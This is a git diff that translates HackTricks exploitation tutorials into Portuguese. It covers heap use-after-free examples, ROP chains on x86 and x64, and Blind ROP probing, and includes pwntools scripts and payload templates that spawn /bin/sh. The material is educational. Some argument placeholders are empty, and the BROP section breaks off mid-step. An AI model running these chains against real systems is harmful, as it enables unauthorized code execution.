 char *b = malloc(250);
 free(a);
 char *c = malloc(250);
 ```
-
 ### Fastbins
 
-Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
+Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
 
-Example:
-
-- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
-- When you free them in any order, the freed chunks are added to the fastbin's head.
-- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
+Exemplo:
 
+- Você aloca quatro pedaços de 20 bytes cada (`a`, `b`, `c`, `d`).
+- Quando você os libera em qualquer ordem, os pedaços liberados são adicionados ao início do fastbin.
+- Se você então solicitar um pedaço de 20 bytes, o alocador retornará o pedaço mais recentemente liberado do início do fastbin.
 ```c
 char *a = malloc(20);
 char *b = malloc(20);
@@ -48,17 +45,16 @@ b = malloc(20);   // c
 c = malloc(20);   // b
 d = malloc(20);   // a
 ```
-
-## Other References & Examples
+## Outras Referências & Exemplos
 
 - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
 - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
-  - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
+- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha**
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
-  - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note.
-  - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
-    - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
+- O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\) com o conteúdo da nota.
+- O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
+- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
-  - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
+- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor ou obter a flag.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
-  - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
+- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que contém 4 dentro dele.
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 29e21bca5..44feb22dd 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -1,46 +1,45 @@
-# ROP - Return Oriented Programing
+# ROP - Programação Orientada a Retorno
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Basic Information**
+## **Informações Básicas**
 
-**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
+**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
 
-### How ROP Works
+### Como o ROP Funciona
 
-1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
-2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
-3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
+1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
+2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver a configuração de argumentos para uma chamada de função, chamando a função (por exemplo, `system("/bin/sh")`), e lidando com qualquer limpeza ou operações adicionais necessárias.
+3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
 
-### Tools
+### Ferramentas
 
-Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
+Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou diretamente do **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
 
-## ROP Chain in x86 Example
+## Exemplo de Cadeia ROP em x86
 
-### **x86 (32-bit) Calling conventions**
+### **x86 (32-bit) Convenções de Chamada**
 
-- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
-- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
+- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
+- **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
 
-### **Finding Gadgets**
+### **Encontrando Gadgets**
 
-First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
+Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:
 
-- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
-- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
-- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
-- Additionally, we have the address of the `system()` function available.
+- `pop eax; ret`: Este gadget remove o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
+- `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
+- `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização de memória apontada por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
+- Além disso, temos o endereço da função `system()` disponível.
 
-### **ROP Chain**
+### **Cadeia ROP**
 
-Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
-
-1. A `ret` instruction for alignment purposes (optional)
-2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
-3. Placeholder for the return address from `system()`
-4. `"/bin/sh"` string address (parameter for system function)
+Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
 
+1. Uma instrução `ret` para fins de alinhamento (opcional)
+2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/))
+3. Placeholder para o endereço de retorno da `system()`
+4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
 ```python
 from pwn import *
 
@@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control th
 
 # Construct the ROP chain
 rop_chain = [
-    ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
-    system_addr,   # Address of system(). Execution will continue here after the ret gadget
-    0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
-    bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
+ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
+system_addr,   # Address of system(). Execution will continue here after the ret gadget
+0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
+bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
 ]
 
 # Flatten the rop_chain for use
@@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
 p.sendline(payload)
 p.interactive()
 ```
+## Cadeia ROP em x64 Exemplo
 
-## ROP Chain in x64 Example
+### **Convenções de chamada x64 (64 bits)**
 
-### **x64 (64-bit) Calling conventions**
+- Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
+- A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
+- **Registradores**: os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
 
-- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
-- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
-- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
+#### **Encontrando Gadgets**
 
-#### **Finding Gadgets**
+Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
 
-For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
+- **pop rdi; ret**: Puxa o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
+- **ret**: Um retorno simples, útil para alinhamento da pilha em alguns cenários.
 
-- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
-- **ret**: A simple return, useful for stack alignment in some scenarios.
+E sabemos o endereço da função **system()**.
 
-And we know the address of the **system()** function.
-
-### **ROP Chain**
-
-Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
+### **Cadeia ROP**
 
+Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**:
 ```python
 from pwn import *
 
@@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary
 
 # Construct the ROP chain
 rop_chain = [
-    ret_gadget,        # Alignment gadget, if needed
-    pop_rdi_gadget,    # pop rdi; ret
-    bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
-    system_addr        # Address of system(). Execution will continue here.
+ret_gadget,        # Alignment gadget, if needed
+pop_rdi_gadget,    # pop rdi; ret
+bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
+system_addr        # Address of system(). Execution will continue here.
 ]
 
 # Flatten the rop_chain for use
@@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
 p.sendline(payload)
 p.interactive()
 ```
+Neste exemplo:
 
-In this example:
+- Utilizamos o gadget **`pop rdi; ret`** para definir **`RDI`** como o endereço de **`"/bin/sh"`**.
+- Pulamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **system()** na cadeia.
+- **`ret_gadget`** é usado para alinhamento se o ambiente alvo exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções.
 
-- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
-- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
-- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
+### Alinhamento da Pilha
 
-### Stack Alignment
+**O x86-64 ABI** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
 
-**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
-
-## x86 vs x64 main difference
+## Principal diferença entre x86 e x64
 
 > [!TIP]
-> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
+> Como **x64 usa registradores para os primeiros argumentos,** geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao maior número de registradores e ao espaço de endereço maior. O aumento do número de registradores e o espaço de endereço maior na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto de Return-Oriented Programming (ROP).
 
-## ROP chain in ARM64 Example
+## Exemplo de cadeia ROP em ARM64
 
-### **ARM64 Basics & Calling conventions**
+### **Noções Básicas de ARM64 & Convenções de Chamada**
 
-Check the following page for this information:
+Verifique a página a seguir para essas informações:
 
 {{#ref}}
 ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Protections Against ROP
+## Proteções Contra ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
-- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Em um BOF, é necessário contornar o armazenamento do canário da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
+- **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
 
-## ROP based techniques
+## Técnicas baseadas em ROP
 
-Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
+Observe que ROP é apenas uma técnica para executar código arbitrário. Baseado em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
 
-- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
+- **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`.
 
 {{#ref}}
 ret2lib/
 {{#endref}}
 
-- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
+- **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários.
 
 {{#ref}}
 rop-syscall-execv/
 {{#endref}}
 
-- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
+- **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP).
 
 {{#ref}}
 ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
 {{#endref}}
 
-## Other Examples & References
+## Outros Exemplos & Referências
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
-  - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
+- 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrição parcial do endereço para obter a parte da função que vaza a flag.
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-  - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+- arm64, sem ASLR, gadget ROP para tornar a pilha executável e pular para shellcode na pilha.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index 94d93bd6f..f207a176d 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -2,123 +2,123 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
-This attack is based on the following scenario:
+O objetivo deste ataque é ser capaz de **abusar de um ROP via um estouro de buffer sem qualquer informação sobre o binário vulnerável**.\
+Este ataque é baseado no seguinte cenário:
 
-- A stack vulnerability and knowledge of how to trigger it.
-- A server application that restarts after a crash.
+- Uma vulnerabilidade na pilha e conhecimento de como acioná-la.
+- Um aplicativo de servidor que reinicia após uma falha.
 
-## Attack
+## Ataque
 
-### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
+### **1. Encontrar o offset vulnerável** enviando um caractere a mais até que uma falha do servidor seja detectada
 
-### **2. Brute-force canary** to leak it
+### **2. Forçar o canário** para vazá-lo
 
-### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
+### **3. Forçar os endereços RBP e RIP** armazenados na pilha para vazá-los
 
-You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
 
-### **4. Find the stop gadget**
+### **4. Encontrar o gadget de parada**
 
-This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
+Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não falhou. Normalmente, este gadget será algo que **para a execução** e está posicionado no final da cadeia ROP ao procurar gadgets ROP para confirmar que um gadget ROP específico foi executado.
 
-### **5. Find BROP gadget**
+### **5. Encontrar o gadget BROP**
 
-This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
+Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque, se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
 
 
https://www.scs.stanford.edu/brop/bittau-brop.pdf

 
-These would be the gadgets:
+Esses seriam os gadgets:
 
 - `pop rsi; pop r15; ret`
 - `pop rdi; ret`
 
-Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
+Note como, com esses gadgets, é possível **controlar 2 argumentos** de uma função a ser chamada.
 
-Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
+Além disso, note que o gadget ret2csu tem uma **assinatura muito única** porque vai estar popando 6 registradores da pilha. Portanto, enviando uma cadeia como:
 
 `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
 
-If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
+Se o **STOP for executado**, isso basicamente significa que um **endereço que está popando 6 registradores** da pilha foi usado. Ou que o endereço usado também era um endereço de STOP.
 
-In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
+Para **remover esta última opção**, uma nova cadeia como a seguinte é executada e não deve executar o gadget STOP para confirmar que o anterior popou 6 registradores:
 
 `'A' * offset + canary + rbp + ADDR`
 
-Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
+Sabendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
 
-### 6. Find PLT
+### 6. Encontrar PLT
 
-The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
+A tabela PLT pode ser pesquisada a partir de 0x400000 ou do **endereço RIP vazado** da pilha (se **PIE** estiver sendo usado). As **entradas** da tabela são **separadas por 16B** (0x10B), e quando uma função é chamada, o servidor não falha mesmo que os argumentos não estejam corretos. Além disso, verificar o endereço de uma entrada na **PLT + 6B também não falha** pois é o primeiro código executado.
 
-Therefore, it's possible to find the PLT table checking the following behaviours:
+Portanto, é possível encontrar a tabela PLT verificando os seguintes comportamentos:
 
-- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
+- `'A' * offset + canary + rbp + ADDR + STOP` -> sem falha
+- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> sem falha
+- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> sem falha
 
-### 7. Finding strcmp
+### 7. Encontrando strcmp
 
-The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
+A função **`strcmp`** define o registrador **`rdx`** para o comprimento da string sendo comparada. Note que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para depois usar `write` para vazar o programa.
 
-It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
+É possível encontrar a localização de **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
 
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> no crash
+- strcmp(\, \) -> falha
+- strcmp(\, \) -> falha
+- strcmp(\, \) -> falha
+- strcmp(\, \) -> sem falha
 
-It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
+É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT**, que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama **`dlresolve`**) seguido na pilha pelo **número da entrada que se deseja sondar** (começando em zero) para escanear todas as entradas PLT a partir da primeira:
 
-- strcmp(\, \) -> crash
-  - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
-- strcmp(\, \) -> crash
-  - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-- strcmp(\, \) -> no crash
-  - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- strcmp(\, \) -> falha
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai falhar
+- strcmp(\, \) -> falha
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- strcmp(\, \) -> sem falha
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
 
-Remember that:
+Lembre-se que:
 
-- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
-- BROP + 0x9 point to **`pop RDI; ret;`**
-- PLT + 0xb point to a call to **dl_resolve**.
+- BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
+- BROP + 0x9 aponta para **`pop RDI; ret;`**
+- PLT + 0xb aponta para uma chamada a **dl_resolve**.
 
-Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
+Tendo encontrado `strcmp`, é possível definir **`rdx`** para um valor maior que 0.
 
 > [!TIP]
-> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
+> Note que geralmente `rdx` já terá um valor maior que 0, então este passo pode não ser necessário.
 
-### 8. Finding Write or equivalent
+### 8. Encontrando Write ou equivalente
 
-Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
+Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0.**
 
-There are 3 common funtions taht could be abused for this:
+Existem 3 funções comuns que poderiam ser abusadas para isso:
 
 - `puts(data)`
 - `dprintf(fd, data)`
 - `write(fd, data, len(data)`
 
-However, the original paper only mentions the **`write`** one, so lets talk about it:
+No entanto, o artigo original menciona apenas a **`write`**, então vamos falar sobre isso:
 
-The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
+O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número de fd para enviar os dados para nosso socket**.
 
